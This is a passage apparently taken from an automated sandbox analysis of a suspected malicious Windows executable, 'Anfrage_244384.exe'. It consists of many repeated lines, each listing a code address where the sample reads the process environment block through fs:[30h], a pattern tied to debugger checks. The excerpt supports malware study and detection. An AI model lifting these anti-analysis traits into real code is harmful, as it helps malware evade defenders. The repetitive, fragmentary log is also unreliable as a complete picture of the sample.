      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_347036EE mov eax, dword ptr fs:[00000030h]5_2_347036EE
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_347036EE mov eax, dword ptr fs:[00000030h]5_2_347036EE
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_347036EE mov eax, dword ptr fs:[00000030h]5_2_347036EE
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_347036EE mov eax, dword ptr fs:[00000030h]5_2_347036EE
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_347036EE mov eax, dword ptr fs:[00000030h]5_2_347036EE
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_347036EE mov eax, dword ptr fs:[00000030h]5_2_347036EE
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_346A16CF mov eax, dword ptr fs:[00000030h]5_2_346A16CF
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_3467B6C0 mov eax, dword ptr fs:[00000030h]5_2_3467B6C0
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_3467B6C0 mov eax, dword ptr fs:[00000030h]5_2_3467B6C0
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_3467B6C0 mov eax, dword ptr fs:[00000030h]5_2_3467B6C0
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_3467B6C0 mov eax, dword ptr fs:[00000030h]5_2_3467B6C0
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_3467B6C0 mov eax, dword ptr fs:[00000030h]5_2_3467B6C0
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_3467B6C0 mov eax, dword ptr fs:[00000030h]5_2_3467B6C0
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_3472F6C7 mov eax, dword ptr fs:[00000030h]5_2_3472F6C7
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_347316CC mov eax, dword ptr fs:[00000030h]5_2_347316CC
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_347316CC mov eax, dword ptr fs:[00000030h]5_2_347316CC
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_347316CC mov eax, dword ptr fs:[00000030h]5_2_347316CC
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_347316CC mov eax, dword ptr fs:[00000030h]5_2_347316CC
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_3466D6AA mov eax, dword ptr fs:[00000030h]5_2_3466D6AA
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_3466D6AA mov eax, dword ptr fs:[00000030h]5_2_3466D6AA
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_346676B2 mov eax, dword ptr fs:[00000030h]5_2_346676B2
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_346676B2 mov eax, dword ptr fs:[00000030h]5_2_346676B2
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_346676B2 mov eax, dword ptr fs:[00000030h]5_2_346676B2
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_346F368C mov eax, dword ptr fs:[00000030h]5_2_346F368C
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_346F368C mov eax, dword ptr fs:[00000030h]5_2_346F368C
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_346F368C mov eax, dword ptr fs:[00000030h]5_2_346F368C
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_346F368C mov eax, dword ptr fs:[00000030h]5_2_346F368C
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_3466B765 mov eax, dword ptr fs:[00000030h]5_2_3466B765
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_3466B765 mov eax, dword ptr fs:[00000030h]5_2_3466B765
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_3466B765 mov eax, dword ptr fs:[00000030h]5_2_3466B765
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_3466B765 mov eax, dword ptr fs:[00000030h]5_2_3466B765
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_34683740 mov eax, dword ptr fs:[00000030h]5_2_34683740
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_34683740 mov eax, dword ptr fs:[00000030h]5_2_34683740
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_34683740 mov eax, dword ptr fs:[00000030h]5_2_34683740
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_3471375F mov eax, dword ptr fs:[00000030h]5_2_3471375F
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_3471375F mov eax, dword ptr fs:[00000030h]5_2_3471375F
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_3471375F mov eax, dword ptr fs:[00000030h]5_2_3471375F
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_3471375F mov eax, dword ptr fs:[00000030h]5_2_3471375F
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_3471375F mov eax, dword ptr fs:[00000030h]5_2_3471375F
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_34743749 mov eax, dword ptr fs:[00000030h]5_2_34743749
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_34673720 mov eax, dword ptr fs:[00000030h]5_2_34673720
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_3474B73C mov eax, dword ptr fs:[00000030h]5_2_3474B73C
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_3474B73C mov eax, dword ptr fs:[00000030h]5_2_3474B73C
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_3474B73C mov eax, dword ptr fs:[00000030h]5_2_3474B73C
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_3474B73C mov eax, dword ptr fs:[00000030h]5_2_3474B73C
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_3468F720 mov eax, dword ptr fs:[00000030h]5_2_3468F720
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_3468F720 mov eax, dword ptr fs:[00000030h]5_2_3468F720
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_3468F720 mov eax, dword ptr fs:[00000030h]5_2_3468F720
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_34669730 mov eax, dword ptr fs:[00000030h]5_2_34669730
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_34669730 mov eax, dword ptr fs:[00000030h]5_2_34669730
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_3473972B mov eax, dword ptr fs:[00000030h]5_2_3473972B
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_3472F72E mov eax, dword ptr fs:[00000030h]5_2_3472F72E
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_3467973A mov eax, dword ptr fs:[00000030h]5_2_3467973A
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_3467973A mov eax, dword ptr fs:[00000030h]5_2_3467973A
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_346A5734 mov eax, dword ptr fs:[00000030h]5_2_346A5734
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_34677703 mov eax, dword ptr fs:[00000030h]5_2_34677703
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_34675702 mov eax, dword ptr fs:[00000030h]5_2_34675702
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_34675702 mov eax, dword ptr fs:[00000030h]5_2_34675702
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_346AF71F mov eax, dword ptr fs:[00000030h]5_2_346AF71F
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_346AF71F mov eax, dword ptr fs:[00000030h]5_2_346AF71F
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_3467D7E0 mov ecx, dword ptr fs:[00000030h]5_2_3467D7E0
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_346757C0 mov eax, dword ptr fs:[00000030h]5_2_346757C0
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_346757C0 mov eax, dword ptr fs:[00000030h]5_2_346757C0
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_346757C0 mov eax, dword ptr fs:[00000030h]5_2_346757C0
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_346FF7AF mov eax, dword ptr fs:[00000030h]5_2_346FF7AF
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_346FF7AF mov eax, dword ptr fs:[00000030h]5_2_346FF7AF
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_346FF7AF mov eax, dword ptr fs:[00000030h]5_2_346FF7AF
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_346FF7AF mov eax, dword ptr fs:[00000030h]5_2_346FF7AF
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_346FF7AF mov eax, dword ptr fs:[00000030h]5_2_346FF7AF
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_347437B6 mov eax, dword ptr fs:[00000030h]5_2_347437B6
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_346F97A9 mov eax, dword ptr fs:[00000030h]5_2_346F97A9
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_3469D7B0 mov eax, dword ptr fs:[00000030h]5_2_3469D7B0
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_3466F7BA mov eax, dword ptr fs:[00000030h]5_2_3466F7BA
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_3466F7BA mov eax, dword ptr fs:[00000030h]5_2_3466F7BA
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_3466F7BA mov eax, dword ptr fs:[00000030h]5_2_3466F7BA
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_3466F7BA mov eax, dword ptr fs:[00000030h]5_2_3466F7BA
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_3466F7BA mov eax, dword ptr fs:[00000030h]5_2_3466F7BA
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_3466F7BA mov eax, dword ptr fs:[00000030h]5_2_3466F7BA
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_3466F7BA mov eax, dword ptr fs:[00000030h]5_2_3466F7BA
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_3466F7BA mov eax, dword ptr fs:[00000030h]5_2_3466F7BA
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_3466F7BA mov eax, dword ptr fs:[00000030h]5_2_3466F7BA
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_3472F78A mov eax, dword ptr fs:[00000030h]5_2_3472F78A
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_346F106E mov eax, dword ptr fs:[00000030h]5_2_346F106E
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_34745060 mov eax, dword ptr fs:[00000030h]5_2_34745060
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_34681070 mov eax, dword ptr fs:[00000030h]5_2_34681070
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_34681070 mov ecx, dword ptr fs:[00000030h]5_2_34681070
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_34681070 mov eax, dword ptr fs:[00000030h]5_2_34681070
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_34681070 mov eax, dword ptr fs:[00000030h]5_2_34681070
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_34681070 mov eax, dword ptr fs:[00000030h]5_2_34681070
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_34681070 mov eax, dword ptr fs:[00000030h]5_2_34681070
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_34681070 mov eax, dword ptr fs:[00000030h]5_2_34681070
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_34681070 mov eax, dword ptr fs:[00000030h]5_2_34681070
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_34681070 mov eax, dword ptr fs:[00000030h]5_2_34681070
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_34681070 mov eax, dword ptr fs:[00000030h]5_2_34681070
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_34681070 mov eax, dword ptr fs:[00000030h]5_2_34681070
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_34681070 mov eax, dword ptr fs:[00000030h]5_2_34681070
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_34681070 mov eax, dword ptr fs:[00000030h]5_2_34681070
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_346ED070 mov ecx, dword ptr fs:[00000030h]5_2_346ED070
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_3471705E mov ebx, dword ptr fs:[00000030h]5_2_3471705E
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_3471705E mov eax, dword ptr fs:[00000030h]5_2_3471705E
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_3469B052 mov eax, dword ptr fs:[00000030h]5_2_3469B052
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_3473903E mov eax, dword ptr fs:[00000030h]5_2_3473903E
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_3473903E mov eax, dword ptr fs:[00000030h]5_2_3473903E
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_3473903E mov eax, dword ptr fs:[00000030h]5_2_3473903E
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_3473903E mov eax, dword ptr fs:[00000030h]5_2_3473903E
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_346950E4 mov eax, dword ptr fs:[00000030h]5_2_346950E4
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_346950E4 mov ecx, dword ptr fs:[00000030h]5_2_346950E4
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_346870C0 mov eax, dword ptr fs:[00000030h]5_2_346870C0
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_346870C0 mov ecx, dword ptr fs:[00000030h]5_2_346870C0
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_346870C0 mov ecx, dword ptr fs:[00000030h]5_2_346870C0
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_346870C0 mov eax, dword ptr fs:[00000030h]5_2_346870C0
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_346870C0 mov ecx, dword ptr fs:[00000030h]5_2_346870C0
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_346870C0 mov ecx, dword ptr fs:[00000030h]5_2_346870C0
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_346870C0 mov eax, dword ptr fs:[00000030h]5_2_346870C0
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_346870C0 mov eax, dword ptr fs:[00000030h]5_2_346870C0
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_346870C0 mov eax, dword ptr fs:[00000030h]5_2_346870C0
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_346870C0 mov eax, dword ptr fs:[00000030h]5_2_346870C0
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_346870C0 mov eax, dword ptr fs:[00000030h]5_2_346870C0
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_346870C0 mov eax, dword ptr fs:[00000030h]5_2_346870C0
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_346870C0 mov eax, dword ptr fs:[00000030h]5_2_346870C0
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_346870C0 mov eax, dword ptr fs:[00000030h]5_2_346870C0
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_346870C0 mov eax, dword ptr fs:[00000030h]5_2_346870C0
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_346870C0 mov eax, dword ptr fs:[00000030h]5_2_346870C0
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_346870C0 mov eax, dword ptr fs:[00000030h]5_2_346870C0
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_346870C0 mov eax, dword ptr fs:[00000030h]5_2_346870C0
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_347450D9 mov eax, dword ptr fs:[00000030h]5_2_347450D9
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_346ED0C0 mov eax, dword ptr fs:[00000030h]5_2_346ED0C0
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_346ED0C0 mov eax, dword ptr fs:[00000030h]5_2_346ED0C0
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_346990DB mov eax, dword ptr fs:[00000030h]5_2_346990DB
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_3466D08D mov eax, dword ptr fs:[00000030h]5_2_3466D08D
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_346FD080 mov eax, dword ptr fs:[00000030h]5_2_346FD080
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_346FD080 mov eax, dword ptr fs:[00000030h]5_2_346FD080
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_34675096 mov eax, dword ptr fs:[00000030h]5_2_34675096
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_346A909C mov eax, dword ptr fs:[00000030h]5_2_346A909C
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_3469D090 mov eax, dword ptr fs:[00000030h]5_2_3469D090
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_3469D090 mov eax, dword ptr fs:[00000030h]5_2_3469D090
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_34709179 mov eax, dword ptr fs:[00000030h]5_2_34709179
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_3466F172 mov eax, dword ptr fs:[00000030h]5_2_3466F172
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_3466F172 mov eax, dword ptr fs:[00000030h]5_2_3466F172
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_3466F172 mov eax, dword ptr fs:[00000030h]5_2_3466F172
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_3466F172 mov eax, dword ptr fs:[00000030h]5_2_3466F172
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_3466F172 mov eax, dword ptr fs:[00000030h]5_2_3466F172
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_3466F172 mov eax, dword ptr fs:[00000030h]5_2_3466F172
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_3466F172 mov eax, dword ptr fs:[00000030h]5_2_3466F172
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_3466F172 mov eax, dword ptr fs:[00000030h]5_2_3466F172
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_3466F172 mov eax, dword ptr fs:[00000030h]5_2_3466F172
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_3466F172 mov eax, dword ptr fs:[00000030h]5_2_3466F172
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_3466F172 mov eax, dword ptr fs:[00000030h]5_2_3466F172
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_3466F172 mov eax, dword ptr fs:[00000030h]5_2_3466F172
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_3466F172 mov eax, dword ptr fs:[00000030h]5_2_3466F172
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_3466F172 mov eax, dword ptr fs:[00000030h]5_2_3466F172
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_3466F172 mov eax, dword ptr fs:[00000030h]5_2_3466F172
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_3466F172 mov eax, dword ptr fs:[00000030h]5_2_3466F172
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_3466F172 mov eax, dword ptr fs:[00000030h]5_2_3466F172
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_3466F172 mov eax, dword ptr fs:[00000030h]5_2_3466F172
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_3466F172 mov eax, dword ptr fs:[00000030h]5_2_3466F172
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_3466F172 mov eax, dword ptr fs:[00000030h]5_2_3466F172
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_3466F172 mov eax, dword ptr fs:[00000030h]5_2_3466F172
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_34745152 mov eax, dword ptr fs:[00000030h]5_2_34745152
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_34669148 mov eax, dword ptr fs:[00000030h]5_2_34669148
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_34669148 mov eax, dword ptr fs:[00000030h]5_2_34669148
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_34669148 mov eax, dword ptr fs:[00000030h]5_2_34669148
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_34669148 mov eax, dword ptr fs:[00000030h]5_2_34669148
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_34703140 mov eax, dword ptr fs:[00000030h]5_2_34703140
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_34703140 mov eax, dword ptr fs:[00000030h]5_2_34703140
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_34703140 mov eax, dword ptr fs:[00000030h]5_2_34703140
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_34677152 mov eax, dword ptr fs:[00000030h]5_2_34677152
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_3466B136 mov eax, dword ptr fs:[00000030h]5_2_3466B136
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_3466B136 mov eax, dword ptr fs:[00000030h]5_2_3466B136
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_3466B136 mov eax, dword ptr fs:[00000030h]5_2_3466B136
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_3466B136 mov eax, dword ptr fs:[00000030h]5_2_3466B136
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_34671131 mov eax, dword ptr fs:[00000030h]5_2_34671131
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_34671131 mov eax, dword ptr fs:[00000030h]5_2_34671131
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_346951EF mov eax, dword ptr fs:[00000030h]5_2_346951EF
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_346951EF mov eax, dword ptr fs:[00000030h]5_2_346951EF
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_346951EF mov eax, dword ptr fs:[00000030h]5_2_346951EF
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_346951EF mov eax, dword ptr fs:[00000030h]5_2_346951EF
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_346951EF mov eax, dword ptr fs:[00000030h]5_2_346951EF
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_346951EF mov eax, dword ptr fs:[00000030h]5_2_346951EF
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_346951EF mov eax, dword ptr fs:[00000030h]5_2_346951EF
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_346951EF mov eax, dword ptr fs:[00000030h]5_2_346951EF
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_346951EF mov eax, dword ptr fs:[00000030h]5_2_346951EF
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_346951EF mov eax, dword ptr fs:[00000030h]5_2_346951EF
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_346951EF mov eax, dword ptr fs:[00000030h]5_2_346951EF
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_346951EF mov eax, dword ptr fs:[00000030h]5_2_346951EF
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_346951EF mov eax, dword ptr fs:[00000030h]5_2_346951EF
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_347171F9 mov esi, dword ptr fs:[00000030h]5_2_347171F9
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_346751ED mov eax, dword ptr fs:[00000030h]5_2_346751ED
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_346AD1D0 mov eax, dword ptr fs:[00000030h]5_2_346AD1D0
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_346AD1D0 mov ecx, dword ptr fs:[00000030h]5_2_346AD1D0
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_347451CB mov eax, dword ptr fs:[00000030h]5_2_347451CB
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_347211A4 mov eax, dword ptr fs:[00000030h]5_2_347211A4
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_347211A4 mov eax, dword ptr fs:[00000030h]5_2_347211A4
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_347211A4 mov eax, dword ptr fs:[00000030h]5_2_347211A4
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_347211A4 mov eax, dword ptr fs:[00000030h]5_2_347211A4
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_3468B1B0 mov eax, dword ptr fs:[00000030h]5_2_3468B1B0
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_34725180 mov eax, dword ptr fs:[00000030h]5_2_34725180
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_34725180 mov eax, dword ptr fs:[00000030h]5_2_34725180
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_346C7190 mov eax, dword ptr fs:[00000030h]5_2_346C7190
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_3473D26B mov eax, dword ptr fs:[00000030h]5_2_3473D26B
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_3473D26B mov eax, dword ptr fs:[00000030h]5_2_3473D26B
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_346B1270 mov eax, dword ptr fs:[00000030h]5_2_346B1270
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_346B1270 mov eax, dword ptr fs:[00000030h]5_2_346B1270
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_34699274 mov eax, dword ptr fs:[00000030h]5_2_34699274
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_3472B256 mov eax, dword ptr fs:[00000030h]5_2_3472B256
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_3472B256 mov eax, dword ptr fs:[00000030h]5_2_3472B256
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_34669240 mov eax, dword ptr fs:[00000030h]5_2_34669240
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_34669240 mov eax, dword ptr fs:[00000030h]5_2_34669240
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_346A724D mov eax, dword ptr fs:[00000030h]5_2_346A724D
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_346FD250 mov ecx, dword ptr fs:[00000030h]5_2_346FD250
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_34745227 mov eax, dword ptr fs:[00000030h]5_2_34745227
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_346A7208 mov eax, dword ptr fs:[00000030h]5_2_346A7208
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_346A7208 mov eax, dword ptr fs:[00000030h]5_2_346A7208
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_3471B2F0 mov eax, dword ptr fs:[00000030h]5_2_3471B2F0
